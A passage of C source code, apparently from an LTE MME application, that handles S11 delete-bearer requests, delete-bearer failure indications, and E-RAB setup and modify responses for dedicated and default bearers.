itti_nas_modify_eps_bearer_ctx_req_t *nas_modify_eps_bearer_ctx_req = &message_p->ittiMsg.nas_modify_eps_bearer_ctx_req;
nas_modify_eps_bearer_ctx_req->bcs_to_be_updated_ptr = (uintptr_t)update_bearer_request_pP->bearer_contexts;
/** NAS Update Bearer Request. The ESM layer will also check the APN-AMBR. */
nas_modify_eps_bearer_ctx_req->ue_id = ue_context->mme_ue_s1ap_id;
/** Might be UE triggered. */
nas_modify_eps_bearer_ctx_req->pti = update_bearer_request_pP->pti;
nas_modify_eps_bearer_ctx_req->apn_ambr = update_bearer_request_pP->apn_ambr;
nas_modify_eps_bearer_ctx_req->linked_ebi = s11_proc_update_bearer->linked_ebi;
nas_modify_eps_bearer_ctx_req->cid = s11_proc_update_bearer->pci;
/** Set it to NULL, such that it is not deallocated. */
update_bearer_request_pP->bearer_contexts = NULL;
/** No need to set bearer states, we won't establish the bearers yet. */
MSC_LOG_TX_MESSAGE (MSC_MMEAPP_MME, MSC_NAS_MME, NULL, 0, "0 NAS_MODIFY_EPS_BEARER_CTX_REQ mme_ue_s1ap_id " MME_UE_S1AP_ID_FMT " ", nas_modify_eps_bearer_ctx_req->ue_id);
itti_send_msg_to_task (TASK_NAS_ESM, INSTANCE_DEFAULT, message_p);
OAILOG_FUNC_OUT (LOG_MME_APP);
}
//------------------------------------------------------------------------------
void
mme_app_handle_s11_delete_bearer_req (
itti_s11_delete_bearer_request_t * delete_bearer_request_pP)
{
MessageDef *message_p = NULL;
struct ue_context_s *ue_context = NULL;
struct pdn_context_s *pdn_context = NULL;
emm_data_context_t *emm_context = NULL;
OAILOG_FUNC_IN (LOG_MME_APP);
ue_context = mme_ue_context_exists_s11_teid (&mme_app_desc.mme_ue_contexts, delete_bearer_request_pP->teid);
if (ue_context == NULL) {
MSC_LOG_RX_DISCARDED_MESSAGE (MSC_MMEAPP_MME, MSC_S11_MME, NULL, 0, "0 DELETE_BEARER_REQUEST local S11 teid " TEID_FMT " ",
delete_bearer_request_pP->teid);
OAILOG_DEBUG (LOG_MME_APP, "We didn't find this teid in list of UE: %" PRIX32 "\n", delete_bearer_request_pP->teid);
OAILOG_FUNC_OUT (LOG_MME_APP);
}
emm_context = emm_data_context_get(&_emm_data, ue_context->mme_ue_s1ap_id);
if (emm_context == NULL) {
OAILOG_ERROR (LOG_MME_APP, "No EMM context for UE " MME_UE_S1AP_ID_FMT " could be found. Disregarding DBReq. \n", ue_context->mme_ue_s1ap_id);
OAILOG_FUNC_OUT (LOG_MME_APP);
}
/** Check if the linked ebi is existing. */
if(delete_bearer_request_pP->linked_eps_bearer_id){
OAILOG_ERROR(LOG_MME_APP, "Default bearer deactivation via Delete Bearer Request not implemented yet for UE with ueId " MME_UE_S1AP_ID_FMT". \n", ue_context->mme_ue_s1ap_id);
OAILOG_FUNC_OUT (LOG_MME_APP);
}
/** The validation of the request will be done in the ESM layer. */
MSC_LOG_RX_MESSAGE (MSC_MMEAPP_MME, MSC_S11_MME, NULL, 0, "0 DELETE_BEARER_REQUEST ueId " MME_UE_S1AP_ID_FMT " PDN id %u IMSI " IMSI_64_FMT " num bearer %u",
ue_context->mme_ue_s1ap_id, cid, ue_context->imsi, delete_bearer_request_pP->bearer_contexts.num_bearer_context);
/** Check if a s10 handover procedure exists. If it already has pending qos, reject the request. */
mme_app_s10_proc_mme_handover_t * s10_proc_handover = mme_app_get_s10_procedure_mme_handover(ue_context);
if(s10_proc_handover){
if(s10_proc_handover->pending_qos){
OAILOG_ERROR(LOG_MME_APP, "A pending QoS procedure for the handovered UE " MME_UE_S1AP_ID_FMT" already exists, rejecting a second one. \n", ue_context->mme_ue_s1ap_id);
mme_app_send_s11_delete_bearer_rsp(ue_context, REQUEST_REJECTED, (uintptr_t)delete_bearer_request_pP->trxn, &delete_bearer_request_pP->ebi_list);
OAILOG_FUNC_OUT (LOG_MME_APP);
}
}
/** Create an S11 procedure. */
mme_app_s11_proc_delete_bearer_t* s11_proc_delete_bearer = mme_app_create_s11_procedure_delete_bearer(ue_context);
if(!s11_proc_delete_bearer){
MSC_LOG_RX_DISCARDED_MESSAGE (MSC_MMEAPP_MME, MSC_S11_MME, NULL, 0, "0 DELETE_BEARER_REQUEST local S11 teid " TEID_FMT " ",
delete_bearer_request_pP->teid);
OAILOG_ERROR(LOG_MME_APP, "We could not create a DBR procedure for UE with ueId " MME_UE_S1AP_ID_FMT". \n", ue_context->mme_ue_s1ap_id);
mme_app_send_s11_delete_bearer_rsp(ue_context, TEMP_REJECT_HO_IN_PROGRESS, (uintptr_t)delete_bearer_request_pP->trxn, &delete_bearer_request_pP->ebi_list);
OAILOG_FUNC_OUT (LOG_MME_APP);
}
/** Respond success if bearers are not existing. */
s11_proc_delete_bearer->proc.s11_trxn = (uintptr_t)delete_bearer_request_pP->trxn;
s11_proc_delete_bearer->num_bearers_unhandled = delete_bearer_request_pP->ebi_list.num_ebi;
s11_proc_delete_bearer->def_ebi = delete_bearer_request_pP->linked_eps_bearer_id;
s11_proc_delete_bearer->proc.pti = delete_bearer_request_pP->pti;
// s11_proc_delete_bearer->linked_eps_bearer_id = delete_bearer_request_pP->linked_eps_bearer_id; /**< Only if it is in the request. */
memcpy(&s11_proc_delete_bearer->ebis, &delete_bearer_request_pP->ebi_list, sizeof(delete_bearer_request_pP->ebi_list));
// todo: failed bearer contexts not handled yet (failed from those in DBC)
// memcpy(&s11_proc_delete_bearer->bcs_failed, &delete_bearer_request_pP->to_be_removed_bearer_contexts, sizeof(delete_bearer_request_pP->to_be_removed_bearer_contexts));
// todo: PCOs
if(s10_proc_handover){
OAILOG_WARNING(LOG_MME_APP, "A handover procedure exists for the UE " MME_UE_S1AP_ID_FMT". "
"Waiting for it to complete to continue with the s11 procedure. \n",ue_context->mme_ue_s1ap_id);
/** Set the procedure as a pending procedure. */
s10_proc_handover->pending_qos = true;
OAILOG_FUNC_OUT (LOG_MME_APP);
} else if(ue_context->mm_state != UE_REGISTERED) {
/** Check for Idle Tau procedure. */
nas_emm_tau_proc_t * nas_proc_tau = get_nas_specific_procedure_tau(emm_context);
if(nas_proc_tau){
OAILOG_WARNING(LOG_MME_APP, "A TAU procedure still exists for the UE " MME_UE_S1AP_ID_FMT". "
"Waiting for it to complete to continue with the s11 procedure. \n",ue_context->mme_ue_s1ap_id);
nas_proc_tau->pending_qos = true;
OAILOG_FUNC_OUT (LOG_MME_APP);
}
}
/*
* Let the ESM layer validate the request and deactivate the bearers.
*/
message_p = itti_alloc_new_message (TASK_MME_APP, NAS_DEACTIVATE_EPS_BEARER_CTX_REQ);
AssertFatal (message_p , "itti_alloc_new_message Failed");
itti_nas_deactivate_eps_bearer_ctx_req_t *nas_deactivate_eps_bearer_ctx_req = &message_p->ittiMsg.nas_deactivate_eps_bearer_ctx_req;
nas_deactivate_eps_bearer_ctx_req->ue_id = ue_context->mme_ue_s1ap_id;
nas_deactivate_eps_bearer_ctx_req->def_ebi = delete_bearer_request_pP->linked_eps_bearer_id;
memcpy(&nas_deactivate_eps_bearer_ctx_req->ebis, &delete_bearer_request_pP->ebi_list, sizeof(delete_bearer_request_pP->ebi_list));
/** Might be UE triggered. */
nas_deactivate_eps_bearer_ctx_req->pti = delete_bearer_request_pP->pti;
nas_deactivate_eps_bearer_ctx_req->def_ebi = s11_proc_delete_bearer->def_ebi;
/** Set it to NULL, such that it is not deallocated. */
/** No need to set bearer states, we won't remove the bearers yet. */
MSC_LOG_TX_MESSAGE (MSC_MMEAPP_MME, MSC_NAS_MME, NULL, 0, "0 NAS_DEACTIVATE_EPS_BEARER_CTX_REQ mme_ue_s1ap_id " MME_UE_S1AP_ID_FMT " ",
nas_deactivate_eps_bearer_ctx_req->ue_id);
itti_send_msg_to_task (TASK_NAS_ESM, INSTANCE_DEFAULT, message_p);
OAILOG_FUNC_OUT (LOG_MME_APP);
}
//------------------------------------------------------------------------------
void mme_app_delete_bearer_failure_indication (itti_s11_delete_bearer_failure_indication_t * const delete_bearer_failure_ind){
MessageDef *message_p = NULL;
struct ue_context_s *ue_context = NULL;
struct pdn_context_s *pdn_context = NULL;
OAILOG_FUNC_IN (LOG_MME_APP);
ue_context = mme_ue_context_exists_s11_teid (&mme_app_desc.mme_ue_contexts, delete_bearer_failure_ind->teid);
if (ue_context == NULL) {
MSC_LOG_RX_DISCARDED_MESSAGE (MSC_MMEAPP_MME, MSC_S11_MME, NULL, 0, "0 DELETE_BEARER_REQUEST local S11 teid " TEID_FMT " ",
delete_bearer_failure_ind->teid);
OAILOG_DEBUG (LOG_MME_APP, "We didn't find this teid in list of UE: %" PRIX32 "\n", delete_bearer_failure_ind->teid);
OAILOG_FUNC_OUT (LOG_MME_APP);
}
/** Check the cause is context not found, perform an implicit detach. */
if(delete_bearer_failure_ind->cause.cause_value == CONTEXT_NOT_FOUND) {
OAILOG_DEBUG (LOG_MME_APP, "Received cause \"Context not found\" for ue_id " MME_UE_S1AP_ID_FMT" (Delete Bearer Failure Indication)."
" Implicitly removing the UE context. \n", ue_context->mme_ue_s1ap_id);
message_p = itti_alloc_new_message (TASK_MME_APP, NAS_IMPLICIT_DETACH_UE_IND);
DevAssert (message_p != NULL);
message_p->ittiMsg.nas_implicit_detach_ue_ind.ue_id = ue_context->mme_ue_s1ap_id;
message_p->ittiMsg.nas_implicit_detach_ue_ind.emm_cause = EMM_CAUSE_NETWORK_FAILURE;
message_p->ittiMsg.nas_implicit_detach_ue_ind.detach_type = 0x02; // Re-Attach Not required;
MSC_LOG_TX_MESSAGE (MSC_MMEAPP_MME, MSC_NAS_MME, NULL, 0, "0 NAS_IMPLICIT_DETACH_UE_IND_MESSAGE");
itti_send_msg_to_task (TASK_NAS_EMM, INSTANCE_DEFAULT, message_p);
OAILOG_FUNC_OUT (LOG_MME_APP);
}
OAILOG_DEBUG (LOG_MME_APP, "Implicitly removing the idle bearer of UE context for ue_id " MME_UE_S1AP_ID_FMT " for received error cause %d (DBFI). \n",
ue_context->mme_ue_s1ap_id, delete_bearer_failure_ind->cause.cause_value);
/** Check if the ebis, failed to be released are existing. Locally remove them. */
for(ebi_t num_ebi = 0; num_ebi < delete_bearer_failure_ind->bcs_failed.num_bearer_context; num_ebi++) {
mme_app_release_bearer_context(ue_context->mme_ue_s1ap_id, NULL, EPS_BEARER_IDENTITY_UNASSIGNED,
delete_bearer_failure_ind->bcs_failed.bearer_contexts[num_ebi].eps_bearer_id);
/** No procedures should exist. */
}
OAILOG_FUNC_OUT (LOG_MME_APP);
}
//------------------------------------------------------------------------------
void mme_app_handle_e_rab_setup_rsp (itti_s1ap_e_rab_setup_rsp_t * const e_rab_setup_rsp)
{
OAILOG_FUNC_IN (LOG_MME_APP);
struct ue_context_s *ue_context = NULL;
ue_context = mme_ue_context_exists_mme_ue_s1ap_id (&mme_app_desc.mme_ue_contexts, e_rab_setup_rsp->mme_ue_s1ap_id);
if (ue_context == NULL) {
OAILOG_DEBUG (LOG_MME_APP, "We didn't find this mme_ue_s1ap_id in list of UE: " MME_UE_S1AP_ID_FMT "\n", e_rab_setup_rsp->mme_ue_s1ap_id);
MSC_LOG_EVENT (MSC_MMEAPP_MME, " S1AP_E_RAB_SETUP_RSP Unknown ue " MME_UE_S1AP_ID_FMT "\n", e_rab_setup_rsp->mme_ue_s1ap_id);
OAILOG_FUNC_OUT (LOG_MME_APP);
}
if(ue_context->mm_state != UE_REGISTERED){
OAILOG_WARNING(LOG_MME_APP, "Ignoring received E-RAB Setup response for UNREGISTERED UE: " MME_UE_S1AP_ID_FMT "\n", e_rab_setup_rsp->mme_ue_s1ap_id);
OAILOG_FUNC_OUT (LOG_MME_APP);
}
mme_app_s11_proc_create_bearer_t * s11_proc_create_bearer = mme_app_get_s11_procedure_create_bearer(ue_context);
if(!s11_proc_create_bearer){
OAILOG_DEBUG( LOG_MME_APP, "No S11 Create Bearer process for UE with mme_ue_s1ap_id " MME_UE_S1AP_ID_FMT " was found. \n", e_rab_setup_rsp->mme_ue_s1ap_id);
/** Multi APN or failed dedicated bearer (NAS Rejects came in): get the ebi and check if it is a default ebi. */
if(e_rab_setup_rsp->e_rab_setup_list.no_of_items + e_rab_setup_rsp->e_rab_failed_to_setup_list.no_of_items == 1){
/** Received a single bearer, check if it is the default ebi. */
if(e_rab_setup_rsp->e_rab_setup_list.no_of_items){
ebi_t ebi_success = e_rab_setup_rsp->e_rab_setup_list.item[0].e_rab_id;
bearer_context_t * bc_success = NULL;
mme_app_get_session_bearer_context_from_all(ue_context, ebi_success, &bc_success);
/** Check if it is a default ebi. */
if(bc_success->linked_ebi == bc_success->ebi){
/** Returned a response for a successful bearer establishment for a pdn creation. */
// todo: handle Multi apn success
mme_app_handle_e_rab_setup_rsp_pdn_connectivity(e_rab_setup_rsp->mme_ue_s1ap_id, e_rab_setup_rsp->enb_ue_s1ap_id, &e_rab_setup_rsp->e_rab_setup_list.item[0], 0);
OAILOG_FUNC_OUT(LOG_MME_APP);
}
}else{
ebi_t ebi_failed = e_rab_setup_rsp->e_rab_failed_to_setup_list.item[0].e_rab_id;
bearer_context_t * bc_failed = NULL;
mme_app_get_session_bearer_context_from_all(ue_context, ebi_failed, &bc_failed);
if(bc_failed->linked_ebi == bc_failed->ebi){
/** Returned a response for a failed bearer establishment for a pdn creation. */
// todo: handle Multi apn failure
mme_app_handle_e_rab_setup_rsp_pdn_connectivity(e_rab_setup_rsp->mme_ue_s1ap_id, e_rab_setup_rsp->enb_ue_s1ap_id, NULL, ebi_failed);
OAILOG_FUNC_OUT(LOG_MME_APP);
}
}
}
OAILOG_ERROR( LOG_MME_APP, "Received E-RAB response for multiple/non-default bearers, though no attach, multi-apn, or dedicated procedure "
"is running for UE with mme_ue_s1ap_id " MME_UE_S1AP_ID_FMT ". Ignoring received message (Ignoring NAS failed completely before S1AP reply). \n", e_rab_setup_rsp->mme_ue_s1ap_id);
OAILOG_FUNC_OUT(LOG_MME_APP);
}else {
/** Handle E-RAB Setup Response for the dedicated bearer case. */
mme_app_handle_e_rab_setup_rsp_dedicated_bearer(e_rab_setup_rsp);
OAILOG_FUNC_OUT(LOG_MME_APP);
}
}
//------------------------------------------------------------------------------
static void mme_app_handle_e_rab_setup_rsp_dedicated_bearer(const itti_s1ap_e_rab_setup_rsp_t * e_rab_setup_rsp)
{
OAILOG_FUNC_IN (LOG_MME_APP);
struct ue_context_s *ue_context = NULL;
struct pdn_context_s *pdn_context = NULL;
ue_context = mme_ue_context_exists_mme_ue_s1ap_id (&mme_app_desc.mme_ue_contexts, e_rab_setup_rsp->mme_ue_s1ap_id);
if (ue_context == NULL) {
OAILOG_DEBUG (LOG_MME_APP, "We didn't find this mme_ue_s1ap_id in list of UE: " MME_UE_S1AP_ID_FMT "\n", e_rab_setup_rsp->mme_ue_s1ap_id);
MSC_LOG_EVENT (MSC_MMEAPP_MME, " S1AP_E_RAB_SETUP_RSP Unknown ue " MME_UE_S1AP_ID_FMT "\n", e_rab_setup_rsp->mme_ue_s1ap_id);
OAILOG_FUNC_OUT (LOG_MME_APP);
}
mme_app_s11_proc_create_bearer_t * s11_proc_create_bearer = mme_app_get_s11_procedure_create_bearer(ue_context);
if(!s11_proc_create_bearer){
OAILOG_ERROR( LOG_MME_APP, "No S11 CBR process for UE with mme_ue_s1ap_id " MME_UE_S1AP_ID_FMT " was found. Ignoring the message. \n", e_rab_setup_rsp->mme_ue_s1ap_id);
/** All ESM messages may have returned immediately negative and the CBResp might have been sent (removing the S11 session). */
OAILOG_FUNC_OUT (LOG_MME_APP);
}
/** Get the PDN context. */
mme_app_get_pdn_context(ue_context->mme_ue_s1ap_id, s11_proc_create_bearer->pci, s11_proc_create_bearer->linked_ebi, NULL, &pdn_context);
if(!pdn_context){
OAILOG_ERROR( LOG_MME_APP, "No PDN context (cid=%d,def_ebi=%d) could be found for UE " MME_UE_S1AP_ID_FMT ". Ignoring the message. \n",
s11_proc_create_bearer->pci, s11_proc_create_bearer->linked_ebi, e_rab_setup_rsp->mme_ue_s1ap_id);
/** All ESM messages may have returned immediately negative and the CBResp might have been sent (removing the S11 session). */
OAILOG_FUNC_OUT (LOG_MME_APP);
}
for (int i = 0; i < e_rab_setup_rsp->e_rab_setup_list.no_of_items; i++) {
e_rab_id_t e_rab_id = e_rab_setup_rsp->e_rab_setup_list.item[i].e_rab_id;
bearer_context_t * bc_success = NULL;
bearer_context_to_be_created_t * bc_tbc = NULL;
for(int num_bc = 0; num_bc < s11_proc_create_bearer->bcs_tbc->num_bearer_context; num_bc ++){
if(s11_proc_create_bearer->bcs_tbc->bearer_contexts[num_bc].eps_bearer_id == e_rab_id){
bc_tbc = &s11_proc_create_bearer->bcs_tbc->bearer_contexts[num_bc];
}
}
DevAssert(bc_tbc);
/** Check if the message needs to be processed (if it has already failed, in that case the number of unhandled bearers already will be reduced). */
if(bc_tbc->cause.cause_value != 0 && bc_tbc->cause.cause_value != REQUEST_ACCEPTED){
OAILOG_DEBUG (LOG_MME_APP, "The ebi %d has already a negative error cause %d for ueId : " MME_UE_S1AP_ID_FMT "\n", bc_tbc->eps_bearer_id, e_rab_setup_rsp->mme_ue_s1ap_id);
/** No need to register the transport layer information or to inform the ESM layer (the session bearer already should be removed). */
continue;
}
/** Cause is either not set or negative. It must be in the session bearers. */
int rc = mme_app_cn_update_bearer_context(e_rab_setup_rsp->mme_ue_s1ap_id, e_rab_id, &e_rab_setup_rsp->e_rab_setup_list.item[i], NULL);
if(rc == RETURNerror){
/* Error updating the bearer context. */
OAILOG_ERROR(LOG_MME_APP, "The ebi %d could not be updated from the eNB for ueId : " MME_UE_S1AP_ID_FMT "\n", e_rab_id , e_rab_setup_rsp->mme_ue_s1ap_id);
OAILOG_FUNC_OUT (LOG_MME_APP);
}
bc_success = mme_app_get_session_bearer_context(pdn_context, e_rab_id);
/** If the ESM EBR context is active. */
if(bc_success){
memcpy((void*)&bc_tbc->s1u_enb_fteid, (void*)&bc_success->enb_fteid_s1u, sizeof(bc_success->enb_fteid_s1u));
if(bc_success->esm_ebr_context.status == ESM_EBR_ACTIVE){ /**< ESM session management messages completed successfully (transactions completed and no negative GTP cause). */
if(bc_tbc->cause.cause_value == 0){
/** Should be on the way. */
OAILOG_DEBUG (LOG_MME_APP, "The cause is not set yet for ebi %d for ueId although NAS is accepted (not reducing num pending bearers yet): " MME_UE_S1AP_ID_FMT "\n",
bc_tbc->eps_bearer_id, e_rab_setup_rsp->mme_ue_s1ap_id);
/** Setting it as accepted such that we don't wait for the E-RAB-Setup Rsp which arrived. */
bc_tbc->cause.cause_value = REQUEST_ACCEPTED;
} else{
DevAssert(bc_tbc->cause.cause_value == REQUEST_ACCEPTED);
/*
* Reduce the number of unhandled bearers.
* We keep the ESM procedure (no ESM procedure for this bearer is expected at this point).
*/
s11_proc_create_bearer->num_bearers_unhandled--;
/** Set the state of the bearer context as active. */
}
}else{
/*
* Not reducing the number of unhandled bearers. We will check this cause later when NAS response arrives.
* We will not trigger a CBResp with this.
*/
OAILOG_DEBUG (LOG_MME_APP, "Setting the cause as ACCEPTED for ebi %d for ueId : " MME_UE_S1AP_ID_FMT "\n", bc_tbc->eps_bearer_id, e_rab_setup_rsp->mme_ue_s1ap_id);
bc_tbc->cause.cause_value = REQUEST_ACCEPTED;
}
}
/** Iterated through all bearer contexts. */
}
/** Iterate through the failed bearers. */
for (int i = 0; i < e_rab_setup_rsp->e_rab_failed_to_setup_list.no_of_items; i++) {
e_rab_id_t e_rab_id = e_rab_setup_rsp->e_rab_failed_to_setup_list.item[i].e_rab_id;
bearer_context_t * bc_failed = NULL;
bearer_context_to_be_created_t* bc_tbc = NULL;
for(int num_bc = 0; num_bc < s11_proc_create_bearer->bcs_tbc->num_bearer_context; num_bc ++){
if(s11_proc_create_bearer->bcs_tbc->bearer_contexts[num_bc].eps_bearer_id == e_rab_id){
bc_tbc = &s11_proc_create_bearer->bcs_tbc->bearer_contexts[num_bc];
}
}
DevAssert(bc_tbc);
/** Check if there is already a negative result. */
if(bc_tbc->cause.cause_value && bc_tbc->cause.cause_value != REQUEST_ACCEPTED){
OAILOG_DEBUG (LOG_MME_APP, "The ebi %d has already a negative error cause %d for ueId : " MME_UE_S1AP_ID_FMT "\n", bc_tbc->eps_bearer_id, e_rab_setup_rsp->mme_ue_s1ap_id);
/** The number of negative values should already be decreased. */
continue;
}
/* Release the ESM procedure, the received NAS message should be rejected. */
nas_esm_proc_bearer_context_t *esm_proc_bearer_context = mme_app_nas_esm_get_bearer_context_procedure(e_rab_setup_rsp->mme_ue_s1ap_id, PROCEDURE_TRANSACTION_IDENTITY_UNASSIGNED, bc_tbc->eps_bearer_id);
if(esm_proc_bearer_context){
/* Finalize the bearer context and terminate the ESM procedure. The response should not be regarded. */
pti_t pti = esm_proc_bearer_context->esm_base_proc.pti;
ebi_t ebi = esm_proc_bearer_context->bearer_ebi;
mme_app_nas_esm_delete_bearer_context_proc(&esm_proc_bearer_context);
OAILOG_DEBUG (LOG_MME_APP, "Freed the NAS ESM procedure for bearer activation (ebi=%d, pti=%d) for ueId : " MME_UE_S1AP_ID_FMT "\n",
ebi, pti, e_rab_setup_rsp->mme_ue_s1ap_id);
}
mme_app_release_bearer_context(e_rab_setup_rsp->mme_ue_s1ap_id, &pdn_context->context_identifier, s11_proc_create_bearer->linked_ebi, e_rab_id);
/** Set cause as rejected. */
bc_tbc->cause.cause_value = REQUEST_REJECTED;
/** The cause is either not set yet or positive. In either case we will reduce the number of unhandled bearers. */
s11_proc_create_bearer->num_bearers_unhandled--;
/**
* No need to check the result code, the bearer is not established in any case.
* Also no need to wait for the ESM layer to continue with the CBResp (but sill informing the ESM layer to abort the session management procedure prematurely).
*/
}
if(s11_proc_create_bearer->num_bearers_unhandled){
OAILOG_DEBUG (LOG_MME_APP, "For the S11 dedicated bearer procedure, still %d pending bearers exist for UE " MME_UE_S1AP_ID_FMT ". "
"Waiting with CBResp. \n", s11_proc_create_bearer->num_bearers_unhandled, ue_context->mme_ue_s1ap_id);
}else{
OAILOG_DEBUG (LOG_MME_APP, "For the S11 dedicated bearer procedure, no pending bearers left (either success or failure) for UE " MME_UE_S1AP_ID_FMT ". "
"Sending CBResp immediately. \n", ue_context->mme_ue_s1ap_id);
mme_app_send_s11_create_bearer_rsp(ue_context, s11_proc_create_bearer->proc.s11_trxn, 0, s11_proc_create_bearer->bcs_tbc);
/** Delete the procedure if it exists. */
mme_app_delete_s11_procedure_update_bearer(ue_context);
}
OAILOG_FUNC_OUT (LOG_MME_APP);
}
//------------------------------------------------------------------------------
static void mme_app_handle_e_rab_setup_rsp_pdn_connectivity(const mme_ue_s1ap_id_t mme_ue_s1ap_id, const enb_ue_s1ap_id_t enb_ue_s1ap_id, const e_rab_setup_item_t * e_rab_setup_item, const ebi_t failed_ebi) {
OAILOG_FUNC_IN (LOG_MME_APP);
struct ue_context_s *ue_context = NULL;
pdn_cid_t pdn_cid = PDN_CONTEXT_IDENTIFIER_UNASSIGNED;
ebi_t def_ebi = 0;
ue_context = mme_ue_context_exists_mme_ue_s1ap_id (&mme_app_desc.mme_ue_contexts, mme_ue_s1ap_id);
if (ue_context == NULL) {
OAILOG_DEBUG (LOG_MME_APP, "We didn't find this mme_ue_s1ap_id in list of UE: " MME_UE_S1AP_ID_FMT "\n", mme_ue_s1ap_id);
MSC_LOG_EVENT (MSC_MMEAPP_MME, " S1AP_E_RAB_SETUP_RSP Unknown ue " MME_UE_S1AP_ID_FMT "\n", mme_ue_s1ap_id);
OAILOG_FUNC_OUT (LOG_MME_APP);
}
if(e_rab_setup_item) {
bearer_context_t * bc_success = NULL;
pdn_context_t * pdn_context = NULL;
mme_app_get_session_bearer_context_from_all(ue_context, (ebi_t) e_rab_setup_item->e_rab_id, &bc_success);
if(bc_success){
mme_app_get_pdn_context(ue_context->mme_ue_s1ap_id, bc_success->pdn_cx_id, bc_success->linked_ebi, NULL, &pdn_context);
if(pdn_context){
DevAssert(bc_success->bearer_state & BEARER_STATE_SGW_CREATED);
pdn_cid = bc_success->pdn_cx_id;
def_ebi = bc_success->linked_ebi;
bc_success->enb_fteid_s1u.interface_type = S1_U_ENODEB_GTP_U;
bc_success->enb_fteid_s1u.teid = e_rab_setup_item->gtp_teid;
/** Set the IP address. */
if (4 == blength(e_rab_setup_item->transport_layer_address)) {
bc_success->enb_fteid_s1u.ipv4 = 1;
memcpy(&bc_success->enb_fteid_s1u.ipv4_address, e_rab_setup_item->transport_layer_address->data, blength(e_rab_setup_item->transport_layer_address));
} else if (16 == blength(e_rab_setup_item->transport_layer_address)) {
bc_success->enb_fteid_s1u.ipv6 = 1;
memcpy(&bc_success->enb_fteid_s1u.ipv6_address, e_rab_setup_item->transport_layer_address->data, blength(e_rab_setup_item->transport_layer_address));
} else {
AssertFatal(0, "TODO IP address %d bytes", blength(e_rab_setup_item->transport_layer_address));
}
bc_success->bearer_state |= BEARER_STATE_ENB_CREATED;
bc_success->bearer_state |= BEARER_STATE_MME_CREATED;
/*
* The APN-AMBR value will already be set.
* Independently from the ESM (not checking the ESM_EBR_STATE), send the MBR to the PGW.
* If the ESM procedure is rejected or gets into timeout, we must remove the session PGW session via ESM separately.
*/
mme_app_send_s11_modify_bearer_req(ue_context, pdn_context, 0);
} else{
OAILOG_DEBUG (LOG_MME_APP, "For established default bearer with linked_(ebi=%d), no pdn context exists for UE: " MME_UE_S1AP_ID_FMT "\n", bc_success->linked_ebi, mme_ue_s1ap_id);
}
}else{
/**
* We assume that some error happened in the ESM layer during attach, and therefore the bearer context does not exist in the session bearers.
*/
OAILOG_ERROR(LOG_MME_APP, "No bearer context was found for default ebi %d for UE: " MME_UE_S1AP_ID_FMT "\n", e_rab_setup_item->e_rab_id, ue_context->mme_ue_s1ap_id);
OAILOG_FUNC_OUT(LOG_MME_APP);
}
}else {
/** Failed to establish the default bearer. */
bearer_context_t * bc_failed = NULL;
mme_app_get_session_bearer_context_from_all(ue_context, failed_ebi, &bc_failed);
if(bc_failed){
pdn_cid = bc_failed->pdn_cx_id;
if(bc_failed->bearer_state & BEARER_STATE_MME_CREATED)
bc_failed->bearer_state &= (~BEARER_STATE_MME_CREATED);
if(bc_failed->bearer_state & BEARER_STATE_ENB_CREATED)
bc_failed->bearer_state &= (~BEARER_STATE_ENB_CREATED);
pdn_context_t * pdn_context = NULL;
mme_app_get_pdn_context(ue_context->mme_ue_s1ap_id, pdn_cid, failed_ebi, NULL, &pdn_context);
/** Send a Delete Session Request. The response will trigger removal of the pdn & bearer resources. */
OAILOG_WARNING(LOG_MME_APP, "After failed establishment of default bearer with default ebi %d for UE: " MME_UE_S1AP_ID_FMT ", "
"triggering implicit PDN context removal. \n", failed_ebi, ue_context->mme_ue_s1ap_id);
/** Remove the ESM procedure if exists. */
/* Release the ESM procedure, the received NAS message should be rejected. */
nas_esm_proc_pdn_connectivity_t * esm_proc_pdn_connectivity = mme_app_nas_esm_get_pdn_connectivity_procedure(ue_context->mme_ue_s1ap_id, PROCEDURE_TRANSACTION_IDENTITY_UNASSIGNED);
if(esm_proc_pdn_connectivity){
/* Finalize the bearer context and terminate the ESM procedure. The response should not be regarded. */
mme_app_nas_esm_delete_pdn_connectivity_proc(&esm_proc_pdn_connectivity);
OAILOG_DEBUG (LOG_MME_APP, "Freed the NAS ESM procedure for PDN connectivity ueId : " MME_UE_S1AP_ID_FMT "\n", ue_context->mme_ue_s1ap_id);
}
/** Set cause as rejected. */
if(pdn_context->s_gw_address_s11_s4.address.ipv4_address.s_addr != 0)
mme_app_send_delete_session_request(ue_context, bc_failed->linked_ebi, pdn_context->s_gw_address_s11_s4.address.ipv4_address, pdn_context->s_gw_teid_s11_s4, true,
false, INTERNAL_FLAG_NULL); /**< Don't delete the S11 Tunnel endpoint (still need for the default apn). */
else {
OAILOG_WARNING(LOG_MME_APP, "NO S11 SAE-GW Ipv4 in PDN context of ueId : " MME_UE_S1AP_ID_FMT "\n", ue_context->mme_ue_s1ap_id);
}
/** Release the PDN context. */
mme_app_esm_delete_pdn_context(ue_context->mme_ue_s1ap_id, pdn_context->apn_subscribed, pdn_context->context_identifier, pdn_context->default_ebi);
OAILOG_FUNC_OUT(LOG_MME_APP);
}else {
OAILOG_ERROR(LOG_MME_APP, "No bearer context was found for failed default ebi %d for UE: " MME_UE_S1AP_ID_FMT "\n", failed_ebi, ue_context->mme_ue_s1ap_id);
OAILOG_FUNC_OUT(LOG_MME_APP);
}
}
OAILOG_FUNC_OUT(LOG_MME_APP);
}
//------------------------------------------------------------------------------
void mme_app_handle_e_rab_modify_rsp (itti_s1ap_e_rab_modify_rsp_t * const e_rab_modify_rsp)
{
OAILOG_FUNC_IN (LOG_MME_APP);
struct ue_context_s *ue_context = NULL;
struct pdn_context_s *pdn_context = NULL;
pdn_cid_t pdn_cid = PDN_CONTEXT_IDENTIFIER_UNASSIGNED;
ebi_t def_ebi = 0;
ue_context = mme_ue_context_exists_mme_ue_s1ap_id (&mme_app_desc.mme_ue_contexts, e_rab_modify_rsp->mme_ue_s1ap_id);
if (ue_context == NULL) {
OAILOG_DEBUG (LOG_MME_APP, "We didn't find this mme_ue_s1ap_id in list of UE: " MME_UE_S1AP_ID_FMT "\n", e_rab_modify_rsp->mme_ue_s1ap_id);
MSC_LOG_EVENT (MSC_MMEAPP_MME, " S1AP_E_RAB_MODIFY_RSP Unknown ue " MME_UE_S1AP_ID_FMT "\n", e_rab_modify_rsp->mme_ue_s1ap_id);
OAILOG_FUNC_OUT (LOG_MME_APP);
}
mme_app_s11_proc_update_bearer_t * s11_proc_update_bearer = mme_app_get_s11_procedure_update_bearer(ue_context);
if(!s11_proc_update_bearer){
